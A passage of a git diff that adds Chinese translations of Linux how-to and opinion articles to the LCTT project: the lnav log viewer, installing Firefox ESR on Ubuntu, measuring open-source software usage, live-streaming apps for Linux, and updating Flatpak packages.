+要查看上述功能的截图和了解更多信息,请访问 [本页面][2] 。 + +### 如何安装 + +这个程序在 Ubuntu、Debian 的官方仓库中可以找到。使用以下命令安装它。 + +``` +sudo apt install lnav +``` + +而对于 Fedora、RHEL 用户,使用下面的命令: + +``` +sudo dnf install lnav +``` + +另外,开发者还提供了一个离线的独立可执行文件,你不需要安装。你可以从 [GitHub 发布页][3] 下载压缩包,然后按以下方式执行: + +``` +./lnav +``` + +**注意**:它也可用于 macOS,你可以在上述 GitHub 页面找到。 + +### lnav: 如何使用(基础) + +简单的命令语法是: + +``` +lnav [options] [logfile1 logfile2 …] +``` + +如果你直接运行 `lnav` 命令,它会显示你系统中的所有日志(`/var/log/messages` 和 `/var/log/syslog`) + +``` +lnav +``` + +要查看任何特定的日志文件,在命令行中输入: + +``` +lnav /var/log/syslog +``` + +使用 `-t` 参数在你的日志输出中添加时间戳: + +``` +lnav -t /var/log/syslog +``` + +以下是 `lnav` 的一些关键开关: + +- `-d file`:将调试信息写入给定的文件。 +- `-a`:加载所有最新的日志文件类型。 +- `-r`:也加载较早的轮转的日志文件。 +- `-t`:在标准输入中读入的数据行上预加时间戳。 +- `-w file`:将标准输入的内容写入该文件。 +- `-c cmd`:在文件加载后执行命令。 +- `-f path`:执行给定文件中的命令。 +- `-n`:不使用 curses UI 运行(无头模式)。 + +![lnav 在 Ubuntu 22.04 中运行][4] + +要进一步阅读和探索,请访问 [官方文档][5]。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/advanced-log-file-viewer-lnav-ubuntu-linux/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2016/11/lnav-Running-in-Ubutu.png +[2]: http://lnav.org/features/ +[3]: https://github.com/tstack/lnav/releases/ +[4]: https://www.debugpoint.com/wp-content/uploads/2016/11/lnav-running-in-Ubuntu-22.04.jpg +[5]: https://docs.lnav.org/en/latest/intro.html +[0]: https://img.linux.net.cn/data/attachment/album/202301/18/101616eio2v80m1v34ol2o.jpg \ No newline at end of file diff --git a/published/202301/20221201.5 ⭐️⭐️ What is Firefox ESR How to Install it in Ubuntu.md b/published/202301/20221201.5 ⭐️⭐️ What is Firefox ESR How to Install it in Ubuntu.md new file mode 100644 index 0000000000..481d09dc61 --- /dev/null +++ b/published/202301/20221201.5 ⭐️⭐️ What is Firefox ESR How to Install it in Ubuntu.md @@ -0,0 +1,145 @@ +[#]: subject: "What is Firefox ESR? How to Install it in Ubuntu?" +[#]: via: "https://itsfoss.com/firefox-esr-ubuntu/" +[#]: author: "Sagar Sharma https://itsfoss.com/author/sagar/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15421-1.html" + +什么是 Firefox ESR?如何在 Ubuntu 中安装它? +====== + +![][0] + +Ubuntu 的 Snap 版本你不喜欢?不喜欢每一次 Firefox 的发布都要不断地改变东西?如果你重视稳定性而不是功能,你可以试试 Firefox ESR 版本。 + +### 什么是 Firefox ESR? + +Firefox ESR 是 Firefox 的特别版,它不一定像普通版那样每月都有新功能,但它能提供稳定和安全的浏览体验。这适用于企业、组织和机构,在这些地方,稳定性和核心功能比闪亮的新功能更重要。 + +可以把 Firefox ESR 看作是 Linux 发行版的长期稳定版本。它们不一定得到全新的功能,但它们会得到定期的安全和维护更新。这给了用户一个熟悉和稳定的环境。 + +#### 你为什么要关心 Firefox ESR? + +Firefox 几乎每个月都会发布一个新版本。它包含安全和功能更新。 + +但有些人可能不喜欢各种功能的加入和删除。如果在更新之后,你一直想知道某些设置到哪里去了,或者不喜欢与以前不同的东西,Firefox ESR 可能值得一试。 + +基本上,如果你更看重稳定性而不是新功能,那么 Firefox ESR 就适合你。这也是 Debian 中携带的 Firefox 版本,Debian 以其是市场上最稳定的发行版之一而闻名。 + +让我告诉你如何在 Ubuntu 上获得 Firefox ESR。**你可以同时安装 Firefox 和 Firefox-ESR 两个版本。它们的标识没有视觉上的区别,所以你必须注意你打开的是哪个火狐版本。** + +### 在 Ubuntu 中安装 Firefox ESR + +在进入安装之前,让我来分享一下普通 Firefox 和 Firefox-ESR 之间的版本差异是什么。在写这篇文章的时候: + +- Firefox 的版本是 **107.0-2**。 +- Firefox-ESR 目前的版本是 **102.5.0esr**。 + +所以,如果这对你来说没问题,让我们看看第一个方法。 + +#### 方法 1:使用 PPA 安装 Firefox-ESR + +Firefox-ESR 在 Ubuntu 的默认仓库中是不可用的,所以你可以使用 PPA。 + +PPA 只不过是一个由个别技术人员或开发者维护的仓库,拥有默认仓库所没有的东西。 + +如果你想了解更多关于 PPA 的信息,我建议你查看我们的其他指南,其中解释了 [如何在 Linux 上使用 PPA][1]。 + +打开你的终端,使用给定的命令来添加 Firefox-ESR 的 PPA: + +``` +sudo add-apt-repository ppa:mozillateam/ppa +``` + +然后按回车键确认你要添加 PPA: + +![add firefox esr repository in ubuntu][2] + +完成后,你需要更新 Ubuntu 中的仓库索引,以便从这些变化中生效: + +``` +sudo apt update +``` + +现在,你可以通过使用给定的命令来安装 Firefox-ESR: + +``` +sudo apt install firefox-esr +``` + +接下来,你可以使用给定的命令来检查你系统中 Firefox-ESR 的安装版本: + +``` +firefox-esr -v +``` + +![check installed version of firefox esr in ubuntu][3] + +如何从 Ubuntu 卸载 Firefox-ESR? + +如果 ESR 对你的工作来说感觉太过时了,或者由于其他原因你想从你的系统中删除它,你可以按照以下步骤删除 Firefox-ESR 包和仓库。 + +首先,让我们用下面的方法删除 Firefox-ESR 包: + +``` +sudo apt remove firefox-esr +``` + +现在,你可以使用给定的命令来 [从 Ubuntu 删除 PPA][4]: + +``` +sudo add-apt-repository --remove ppa:mozillateam/ppa +``` + +这就完成了! + +#### 方法 2:使用 Snap 安装 Firefox-ESR + +不管你爱不爱它,Snap 在 Ubuntu 上是预先配置好的,我发现使用 Snap 是安装软件包的一个很好的方法,特别是当你想避免从源码构建它们或使用 PPA 时。 + +使用 Snap 安装 Firefox-ESR,你需要做的就是使用给定的命令: + +``` +sudo snap install firefox --channel=esr/stable +``` + +![install firefox esr using snaps in ubuntu][5] + +如何删除 Firefox-ESR Snap? + +要删除 Firefox-ESR(snap 包),请使用 [snap remove 命令][6]: + +``` +sudo snap remove firefox +``` + +这就完成了! + +### 总结 + +我在本指南中解释了如何使用多种方法在 Ubuntu 中安装 Firefox-ESR。我个人使用 Firefox-ESR 而不是普通版本,因为我有随机崩溃的情况。 + +自从我改用 Firefox-ESR 后,一切都变得稳如磐石。如果你也有同样的问题,你应该试一试。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/firefox-esr-ubuntu/ + +作者:[Sagar Sharma][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/sagar/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/ppa-guide/ +[2]: https://itsfoss.com/content/images/wordpress/2022/11/add-firefox-esr-repository-in-ubuntu.png +[3]: https://itsfoss.com/content/images/wordpress/2022/11/check-installed-version-of-firefox-esr-in-ubuntu.png +[4]: https://itsfoss.com/how-to-remove-or-delete-ppas-quick-tip/ +[5]: https://itsfoss.com/content/images/wordpress/2022/11/install-firefox-esr-using-snaps-in-ubuntu.png +[6]: https://itsfoss.com/remove-snap/ +[0]: https://img.linux.net.cn/data/attachment/album/202301/07/165704ojar9wfkvptwop0w.jpg \ No newline at end of file diff --git a/published/202301/20221202.0 ⭐️⭐️ 8 ideas for measuring your open source software usage.md b/published/202301/20221202.0 ⭐️⭐️ 8 ideas for measuring your open source software usage.md new file mode 100644 index 0000000000..cdc1ab5063 --- /dev/null +++ b/published/202301/20221202.0 ⭐️⭐️ 8 ideas for measuring your open source software usage.md @@ -0,0 +1,150 @@ +[#]: subject: "8 ideas for measuring your open source software usage" +[#]: via: "https://opensource.com/article/22/12/open-source-usage-metrics" +[#]: author: "Georg Link https://opensource.com/users/georglink" +[#]: collector: "lkxed" +[#]: translator: "CanYellow" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15411-1.html" + +衡量你的开源软件使用情况的 8 个方法 +====== + +![][0] + +> 想知道如何为你的开源软件项目收集使用指标?考虑一下使用这些替代方案的利弊。 + +我们这些支持开源项目社区的人经常被问到很多有关使用指标的问题。这些指标通常是为了通过用户量和知名度来衡量软件的重要性。我们一般都想知道有多少人使用该软件,有多少次安装,以及有多少人生活接触过它。 + +但简而言之,我们尚无法直接回答上述问题。 + +如果你想要寻找一个明确的解决方案,那很抱歉要让你失望了。有关使用指标的问题,没有人有完美的答案,至少没有准确的答案。 + +好消息是,有一些近似的和替代指标至少能够部分地满足你对软件使用情况了解的渴求。本文探讨了这些替代方案以及它们的优点和缺点。 + +### 下载量 + +当你浏览提供软件的网站时,你通常可以看到软件的下载次数。映入我脑海的一个例子是 Firefox ,它曾经有一个下载计数器。Firefox 的下载量是一个印象深刻的数字,给人的印象是 Firefox 是一个流行的浏览器,在一段时间内确实如此。 + +然而,个人行为会直接影响这一数字的准确性。举例而言,当一个人定期重置他们的设备时,每一次重建都会引发一次独立的下载。考虑到这一现实,需要设计一种方法从下载量中去除几十次(或许是几百次)的下载次数,因为那是一个人。 + +下载量不仅会高估使用量,还会低估使用量。例如,一个系统管理员可能会下载一个新版本的 Firefox 一次并将其拷贝到 U 盘上,然后安装到数百台设备上。 + +下载量指标是易于收集的,你可以在服务器上记录每一个下载请求。问题在于你不知道在这些软件下载以后会发生什么。下载它的人是否如预期的那样使用软件,还是遇到了问题而放弃了它。 + +对于开源项目而言,你可以考虑各种下载量指标,比如来自以下途径的下载指标: + +- 项目官网 +- 包管理器,比如 npm、PyPi 和 Maven +- 代码仓库,如 GitHub、GitLab、Gitee 等 + +你可能还对源代码的下载量感兴趣,因为下游项目更可能使用源代码形式(参见 [《如何衡量你的开源项目的影响》][1]一文)。相应的下载指标包括: + +- 从代码仓库克隆的数量,比如 GitHub、GitLab 和 Gitee +- 从官网下载的归档文件(tar、zip)的数量 +- 通过像 npm、PyPi 和 Maven 这样的包管理器下载的源代码数量 + +源代码的下载指标比二进制代码的下载指标更不可靠(虽然尚无相关研究表明如此)。试想一下,一名开发人员想要你的最新版本的源代码,并将他们的构建管道配置为每次构建都克隆你的仓库。再想象一下,一个自动构建过程失败了,它试图重新构建而不断地克隆你的版本库。你还可以考虑这样一个下载量低于预期的场景——源代码仓库在某些地方缓存了,下载来源是由这些缓存所提供的。 + +> **[相关阅读:跟踪你的开源社区的 5 个指标][2]** + +总而言之,下载量指标是用于提供当前使用情况和探测趋势的很好的指征。我们无法明确地定义一次下载是如何转化为使用的。不过我们可以认为增加的下载量是更多潜在用户的标志。举例而言,如果你为你的软件做了广告并在活动期间得到了更高的下载量,可以合理地假定广告推动了更多人下载该软件。下载行为的来源与元数据还可以提供额外的与使用行为相关的内容。你的软件的哪些版本仍在使用中?什么操作系统或者特定语言的版本更加流行?这有助于社区决定将哪个平台的软件作为支持与测试的优先选项。 + +### 议题 + +作为一个开源项目,你可能有一个议题追踪器。当某个人提出一个议题时一般有两个目标,报告一个漏洞或者请求增加一项功能。提议者很可能已经使用过你的软件了。作为一名用户,他可能发现了一个漏洞或者发现了对一个新功能的需求。 + +很明显,大多数用户不会执行额外的步骤来提交议题。提议者是我们的忠实用户,我们对他们表示感谢。此外,通过提出议题,他们已经成为了非代码贡献者,他们也有希望成为代码贡献者。经验法则是大约每 10000 名用户中,可能有 100 名提议者,以及 1 名代码贡献者。当然取决于用户类型,上述比例可能有出入。 + +回到指标问题,你可以将提议者数量作为评估使用量的下界。相关的指标包括: + +- 提议者数量 +- 活跃提议者的数量(在过去 6 个月内提出议题的提议者) +- 同时有代码贡献的提议者的数量 +- 尚未解决的议题的数量 +- 对议题发布的评论数量 + +### 邮件列表、论坛和问答网站 + +很多开源项目都拥有用户邮件列表、论坛,并且出现在类似 Stack Overflow 的问答网站上。与提问者一样,在这些地方发帖的人可被视作用户的冰山一角。与邮件列表、论坛和问答网站上的社区活跃程度相关的指标也可用于反映用户数量的上升或下降。相关指标可以集中于以下地方的活动,包括: + +- 用户邮件列表的订阅量 +- 论坛用户的数量 +- 问题的数量 +- 答案的数量 +- 发布信息的数量 + +### 上报功能 + +为了获得精确的用户数量,一个方案是让软件在使用时上报信息。 + +这是令人毛骨悚然的。想象一下,系统管理员的防火墙报告了一个非预期的到你的服务器的网络连接,你不仅无法再收到软件报告(被防火墙拦截了),恐怕连你的软件也可能在未来被禁止使用。 + +负责任的设置上报功能的方式为设置一项可选服务来检查更新并让用户知道使用最新版本。另一项可选功能可以集中在使用遥测上,你可以通过该功能询问用户是否允许匿名上报软件使用情况。如果经过深思熟虑的实施,这种方式可以允许用户通过他们使用软件的方式帮助优化软件。用户可以持有这样的意见:我一般不允许这种使用信息的分享;但对于一些软件,因为希望开发人员在长期内将软件优化得更好,我愿意这样做。 + +### 星标与复刻 + +星标与复刻是如 GitHub、GitLab、Gitee 等社交化编程平台的功能。这些平台上的用户可以给一个项目加星标。为什么他们要给项目加星标呢?GitHub 的文档作出了解释:你可以给一个仓库和主题加星标,以跟踪感兴趣的项目,和在你的新闻订阅中发现相关的内容。给一个项目加星标与将其加入书签的效果一样,并且还提供了一种向项目仓库的维护者展示赞赏的方式。星标的数量已经成为了项目流行程度的标志。当一个项目发布重大公告并获得相当的关注时,项目的星标数量会呈上升趋势。星标的数量指标并不反映软件的使用量。 + +在社交化编程平台上的复刻Fork是将项目仓库复制一份在自己名下。仓库的非维护者可以在他们自己的克隆仓库中做修改,并将修改通过拉取请求pull request(PR)的方式提交审核。复刻比星标更能反映软件社区的规模。开发者也可能为了保存一份代码副本而克隆一个项目,以便在原始仓库消失后他们仍能访问代码。因为复刻功能在代码贡献工作流中的应用,复刻量是衡量开发社区的良好指标。复刻量通常也不反映非开发人员的使用,因为非开发人员一般不创建复刻。 + +### 社交媒体 + +包括 Facebook、Instagram、LinkIn、Reddit、Twtter 等社交媒体平台提供了相同兴趣的人们聚集的平台。采用社交媒体策略,开源项目可以通过在平台上设置相应的聚集空间来吸引对项目感兴趣的人们。通过这些社交媒体途径,开源项目可以分享项目新闻、更新,指出贡献者和用户。这些社交媒体途径还可以用于认识那些本不会通过其他途径与项目互动的人。 + +我在犹豫是否建议关注以下指标,因为它与软件的真实使用量没有清晰的联系,并通常需要分析其中的积极、消极和中性的情绪。人们可能因为很多不同的原因对你的项目感到激动而关注它,但并不实际使用它。然而与之前已经讨论过的指标一样,能够在社交媒体上吸收人群本就是项目受关注的整体指标。不同社交媒体平台的指标包括: + +- 关注者与订阅者的数量 +- 消息的数量 +- 活跃的消息作者的数量 +- 喜欢、分享、回复以及其他交互的数量 + +### 网站分析与文档 + +网站流量也是一个有用的指标。这一指标主要受到你的服务范围以及市场营销活动影响,而不是用户量。然而,我们还有一张王牌:我们的用户文档、教程、手册以及 API 文档。我们可以发现我们的网站以及文档中的什么主题更引人注意。文档的访问者数量应当大致随着软件的使用者数量增长而增长。因此我们可以通过网站的访问量探知对项目的普遍兴趣,并进一步通过观察文档的访问者来观察用户风向。这些指标包括: + +- 网站访问者数量 +- 文档访问者的数量 +- 访问者在你的网站与文档上所花的时间 + +### 活动 + +活动的指标可以在你主持与项目相关的活动时使用。这是建立社区的很好的方式。有多少人提交摘要想要在你的活动中发言?有多少人出席你的活动?不论是在线下活动还是线上活动这可能都很有趣。当然,你如何推广你的活动在很大程度上决定有多少人到场。同时你可以将自己的活动与人们出行的大型活动放在一起以方便人们参加你的活动。只要你使用一贯的活动策略,你可以通过演讲者提交的材料与参会者注册的增加来表征软件受欢迎程度与用户群的增加。 + +你并不需要举办你自己的活动来收集有用的指标。如果你在开源活动中主持有关你项目的讨论,你可以衡量有多少人出席主要关注你的项目的会议。像 [FOSDEM][T1] 这样的活动,一些讨论特别聚焦于开源项目的更新与发布,会议室中都挤满了人(像 FOSDEM 的所有会议一样)。 + +你可以考虑如下指标: + +- 以你的项目为中心的活动的出席人数 +- 提交到以你的项目为中心的活动的演讲数量 +- 以你的项目为中心的演讲的出席人数 + +### 关于估算开源软件使用的结论 + +正如我们已经如上展现的,有很多指标可以反映软件使用的趋势,没有一个指标是完美的。在大多数情况下,这些指标可能被个人行为、系统设计和噪音所严重影响。因此,考虑到每一个指标的相对不确定性,我们建议你不要孤立地使用任何一个指标。但是如果你从不同的来源收集了一系列的指标,你应当能够探测到用户行为与软件使用的趋势。如果你有办法在多个具有共性的开源项目中比较同一组指标,例如类似的功能、强大的相互依赖性、在同一基础设施上托管,以及其他特征,你就可以提升你对用户行为基线的感知。 + +需要注意的是,在这篇概述中,我们选择突出能够评估直接使用情况的指标。而大多数软件都依赖于其他各种软件包,如果我们不提及作为软件依赖链的一部分而被间接使用的严重影响,这就是我们的疏忽。因此,我们建议将上下游依赖的合计数量作为你的分析中的另一层内容。 + +最后,作为数据与指标的使用者,我们鼓励你认识到你的利益相关方的权利与责任。你发布的任何指标都有可能影响用户行为。最好的做法是经常一同分享你的背景信息——基础、来源、估算方法和其他关键上下文信息,这有助于其他人解释你的结果。 + +感谢 [CHAOSS][T2] 社区在爱尔兰都柏林举行的 CHAOSScon EU 2022 上的富有洞察力的对话,上述对话激发这篇博文的想法。我们还要感谢 CHAOSS 社区的成员审阅并帮助优化本文。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/12/open-source-usage-metrics + +作者:[Georg Link, Sophia Vargas][a] +选题:[lkxed][b] +译者:[CanYellow](https://github.com/CanYellow) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/georglink +[b]: https://github.com/lkxed +[1]: https://opensource.com/article/18/5/metrics-project-success +[2]: https://opensource.com/article/22/11/community-metrics + +[T1]: https://fosdem.org/ +[T2]: https://chaoss.community +[0]: https://img.linux.net.cn/data/attachment/album/202301/04/173129vmnstoxnzmjlnsxw.jpg \ No newline at end of file diff --git a/published/202301/20221206.0 ⭐️⭐️ Top 5 Live Streaming Applications for Ubuntu and Other Linux [2022 Edition].md b/published/202301/20221206.0 ⭐️⭐️ Top 5 Live Streaming Applications for Ubuntu and Other Linux [2022 Edition].md new file mode 100644 index 0000000000..47892e9284 --- /dev/null +++ b/published/202301/20221206.0 ⭐️⭐️ Top 5 Live Streaming Applications for Ubuntu and Other Linux [2022 Edition].md @@ -0,0 +1,188 @@ +[#]: subject: "Top 5 Live Streaming Applications for Ubuntu and Other Linux [2022 Edition]" +[#]: via: "https://www.debugpoint.com/live-streaming-applications-linux-2022/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15443-1.html" + +适用于 Linux 的五大流媒体直播应用 +====== + +![][0] + +> 本文列出了 Linux 上的五大流媒体直播应用,包括了它们的功能、亮点、下载详情和对比。 + +现在是为你的业务纳入在线视频内容的最佳时机。为什么?因为研究表明,全球在线视频市场正以每年约 20% 的速度增长。 + +而且,由于开发者们提供的一些优秀软件,任何人都可以轻松地创建视频内容,并在 YouTube 和 Twitch 等几个流行的平台上传播。如果你仔细想想,你会发现如今你在网上观看的视频内容比基于文本的内容更多。 + +因此,在这篇文章中,我们将列出一些适用于 Ubuntu 和其他 Linux 的免费软件,这些软件很容易用于为你和你的企业创建超级有趣的流媒体内容。 + +### Linux 的五大流媒体直播应用 + +#### OBS Studio + +本列表中的第一个免费应用程序是 OBS Studio(即 Open Broadcaster Software)。它是一个具有屏幕广播功能的流媒体直播应用程序,可用于 Linux、Windows 和 macOS。 + +出于几个原因,OBS Studio 是这个名单上最好的一个。它内置了编码,支持 RTMP 广播、多源、网络摄像头、绿屏、捕捉卡和你的应用程序窗口。 + +其用户界面相当简单明了,功能丰富。你可以从第三方开发的插件中获得帮助,以扩展其功能,例如,在直播时将 Twitter 上的实时推文混入你的流媒体。不过,OBS 不支持多比特率流媒体。 + +![OBS Studio - 适用于Linux的直播应用程序][1] + +如何安装: + +OBS Studio 可以在所有 Linux 发行版的官方软件库中找到。详细的安装说明见下面的链接。 + +> **[下载 OBS Studio][2]** + +更多信息: + +- [主页][3] +- [文档][4] + +#### VokoscreenNG + +我们将在这个列表中介绍的第二个应用程序是 VokoscreenNG。它复刻了已停止的 Vokoscreen 项目。这个新的应用程序完全用 Qt 和 GStreamer 库编写。它可以记录你的屏幕,并接受多个音频源和视频源。VokoscreenNG 的工具箱也相当引人注目。它包括一个放大镜、计时器、系统托盘插件,可以简化你的工作流程。 + +它可以免费用于 Linux 和 Windows。 + +![vokoscreenNG - 适用于Linux的流媒体直播应用程序][5] + +如何安装: + +你可以从下面的链接下载用于 Linux 系统的压缩可执行文件。下载后,将其解压,然后执行二进制文件来启动该应用程序。 + +记住,这个应用程序需要在你的 Linux 系统中安装 X11、PulseAudio 和 GStreamer 插件才能工作。如果你使用的是带有 Wayland 和 Pipewire 声音服务器的现代 Linux 系统(例如 Fedora),这个应用程序可能无法工作。 + +> **[下载 VokoscreenNG][6]** + +更多信息: + +- [主页][7] + +#### Restreamer + +Restreamer 应用程序可以让你直接在你的网站上直播视频和截屏,而无需任何流媒体服务商。也可以用这个应用程序使用流行的流媒体解决方案,如 YouTube、Twitch等。 + +这个应用程序功能丰富,有一个不错的功能列表。下面是对其功能的快速介绍: + +- 支持 H.264 流媒体 +- 内置 HTML5 视频播放 +- 可用于 Linux、macOS、Windows 和 Docker 镜像 +- 支持你自己的网站和 YouTube、Twitchm、Facebook、Vimeo、Wowza 等。 +- 支持多个视频源:[网络摄像机][8]、USB 摄像机或任何 H.2645 流媒体 +- 编码和音频源支持 +- 支持 JPEG 形式的定期快照 +- 通过 JSON HTTP API 访问流状态,以便进行额外的编程 + +![Restreamer][9] + +如何安装: + +安装 Restreamer 有点麻烦,因为它是通过 Docker 镜像发布的。你可以在下面的链接中找到在 Linux、Windows 和 MacOS 安装的说明。 + +> **[下载 Restreamer][10]** + +更多信息: + +- [主页][11] +- [文档][12] +- [源代码][13] + +#### ffscreencast + +ffscreencast 是一个使用 ffmpeg 库的命令行流媒体应用程序。它利用了 ffmpeg 的强大功能,并作为它的一个封装器。尽管它是以命令行的形式出现的,但你可以直接通过终端使用其强大的功能,如多源和录音设备。它也支持多种显示设置。你还可以在你的桌面截屏上叠加你的摄像机画面。 + +如何安装: + +要安装这个应用程序,你需要克隆它的 Git 代码库,然后将其内容复制到 `/bin`目录,以便全局执行 `ffscreencast` 命令。 + +``` +git clone https://github.com/cytopia/ffscreencast +cd ffscreencastsudo +cp bin/ffscreencast /usr/local/bin +``` + +你可以在终端用 `ffscreencast` 命令来运行这个应用程序。 + +> **[源代码和主页][15]** + +#### Open Streaming Platform + +本列表中的最后一个应用是 Open Streaming Platform(OSP),这是一个开源的 RTMP 流媒体软件,可以作为 YouTube LIVE、Twitch.tv 等的自托管替代品。 + +![Open Streaming Platform][14] + +如果使用得当,这个应用程序功能丰富且强大。因为它有以下的基本功能: + +- 从 Open Broadcast Software(OBS)等输入源进行 RTMP 直播。 +- 每个用户有多个频道,允许一个用户同时广播多个流,而不需要多个账户。 +- 视频流记录和按需播放。 +- 手动上传来源于 OSP 之外的 MP4 视频。 +- 视频剪辑,为值得注意的时刻创建更短的视频。 +- 频道所有者的实时聊天管理(禁止/解禁)。 +- 管理员控制的自适应流媒体。 +- 受保护的频道,只允许你想要的观众访问。 +- 实时频道,当流媒体没有直播时,继续聊天和闲逛。 +- Webhooks:通过完全可定制的 HTTP 请求将 OSP 连接到其他服务,这可以传递信息。 +- 将你的流媒体或视频直接嵌入到另一个网页中,很容易。 +- 通过 Facebook 或 Twitter 快速分享频道或视频。 +- 能够将用户界面定制为你自己的个人外观的主题 + +如何安装: + +要安装 Open Streaming Platform,请按照以下页面的详细说明进行。 + +> **[下载 Open Streaming Platform][16]** + +更多信息: + +- [主页][17] +- [源代码][18] +- [文档][19] + +### 总结 + +可用于 Linux 的自由开源的流媒体应用程序不多。然而,有几个商业性的流媒体应用程序,它们可能会给你更多的选择、质量和支持。但正如我所说,它们可能要花费你一些钱。所以,如果你是流媒体世界的新手,你可能想从上面列出的用于 Linux 系统的免费流媒体应用程序开始。我希望这篇文章能给你一些想法,让你根据自己的需要使用,并让你开始使用。 + +请在下面的评论栏里告诉我你最喜欢的流媒体软件。 + +加油。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/live-streaming-applications-linux-2022/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2022/02/OBS-Studio.jpg +[2]: https://obsproject.com/wiki/install-instructions#linux +[3]: https://obsproject.com/ +[4]: https://obsproject.com/wiki/Home +[5]: https://www.debugpoint.com/wp-content/uploads/2022/02/vokoscreenNG.jpg +[6]: https://linuxecke.volkoh.de/vokoscreen/vokoscreen-download.html +[7]: https://linuxecke.volkoh.de/vokoscreen/vokoscreen.html +[8]: https://www.debugpoint.com/2018/08/onvifviewer-internet-camera-viewer-for-linux/ +[9]: https://www.debugpoint.com/wp-content/uploads/2022/02/Restreamer.jpg +[10]: https://datarhei.github.io/restreamer/docs/installation-index.html +[11]: https://datarhei.github.io/restreamer/ +[12]: https://datarhei.github.io/restreamer/docs/index.html +[13]: https://github.com/datarhei/restreamer +[14]: https://www.debugpoint.com/wp-content/uploads/2022/02/Open-Streaming-Platform-2048x1026.jpg +[15]: https://github.com/cytopia/ffscreencast +[16]: https://wiki.openstreamingplatform.com/Install/Standard +[17]: https://openstreamingplatform.com/ +[18]: https://gitlab.com/Deamos/flask-nginx-rtmp-manager +[19]: https://wiki.openstreamingplatform.com/ +[20]: https://www.debugpoint.com/how-to-create-ubuntu-linux-os-bootable-usb-in-windows/ +[0]: https://img.linux.net.cn/data/attachment/album/202301/14/172408h1rpephh9hutsrkd.jpg \ No newline at end of file diff --git a/published/202301/20221210.2 ⭐️ How to Update Flatpak Packages in Linux.md b/published/202301/20221210.2 ⭐️ How to Update Flatpak Packages in Linux.md new file mode 100644 index 0000000000..4c68d5c5f1 --- /dev/null +++ b/published/202301/20221210.2 ⭐️ How to Update Flatpak Packages in Linux.md @@ -0,0 +1,130 @@ +[#]: subject: "How to Update Flatpak Packages in Linux" +[#]: via: "https://itsfoss.com/update-flatpak/" +[#]: author: "Sagar Sharma https://itsfoss.com/author/sagar/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15408-1.html" + +如何在 Linux 中更新 Flatpak 软件包 +====== + +![][0] + +我相信几乎所有的 Linux 用户都会保持他们系统的更新。 + +但这种更新通常是针对默认的 [包管理器][1]。例如,[更新 Ubuntu][2] 往往意味着更新所有的 APT 软件包。 + +然而,还有其他的打包格式,如 Snap 和 Flatpak。Snap 应用程序会自动更新,但 Flatpak 不会。 + +那么你如何更新 Flatpak 软件包呢?好吧,你可以用这个命令来更新所有已安装和可更新的 Flatpak 包: + +``` +flatpak update +``` + +这很简单。但让我再讨论一下关于更新 Flatpak 的一些事情,比如说: + +- 更新所有或特定的 Flatpak 包 +- 通过软件中心更新 Flatpak 包 + +让我们先从终端的方法开始。 + +### 方法 1:使用终端来更新 Flatpak 包 + +首先让我从最实用的方法开始,你也应该从这个方法开始。 + +#### 更新每一个过时的 Flatpak 包 + +更新现有的 Flatpak 包的整个目录是很容易的。 + +输入给定的命令,就可以得到过期包的列表: + +``` +flatpak update +``` + +![update flatpak packages in linux][3] + +你只需输入 `Y` 并按下回车键,就能搞定每一个更新。 + +#### 更新特定的 Flatpak 包 + +要更新特定的软件包,你需要可以更新的软件包的列表。你用的是你之前看到的那个命令。 + +``` +flatpak update +``` + +![update flatpak packages in linux][4] + +从输出中复制你要更新的软件包的名称。在以下命令中使用软件包的名称: + +``` +flatpak update package_name +``` + +例如,如果你想更新 Telegram,下面的命令可以完成这项工作: + +``` +flatpak update org.telegram.desktop +``` + +![update specific package in flatpak][5] + +这就完成了。 + +### 方法 2:从软件中心更新 Flatpak 应用 + +有 Flatpak 内置支持的发行版会在软件中心提供 Flatpak 应用的更新。Fedora 和 Linux Mint 就是这样的发行版。 + +但如果你使用的是 Ubuntu,你就需要在 GNOME 软件中心添加 Flatpak 支持: + +``` +sudo apt install gnome-software-plugin-flatpak +``` + +完成后,你将在 Ubuntu 中拥有两个软件中心。这是因为默认的软件中心不是 GNOME 的,而是 Snap Store。 + +从系统菜单中打开这个新的软件中心: + +![open software center in ubuntu][6] + +进入“更新Update”页面,你会发现过时的软件包列表。这包括 APT 和 Flatpak 软件包。 + +![update flatpak from software center][7] + +在这里,你可以一次更新所有的软件包,或者你可以有选择地更新什么。 + +### 总结 + +许多 Linux 桌面用户往往忘记更新 Flatpak 软件包,因为它们不包括在定期的系统更新中。 + +由于 Flatpak 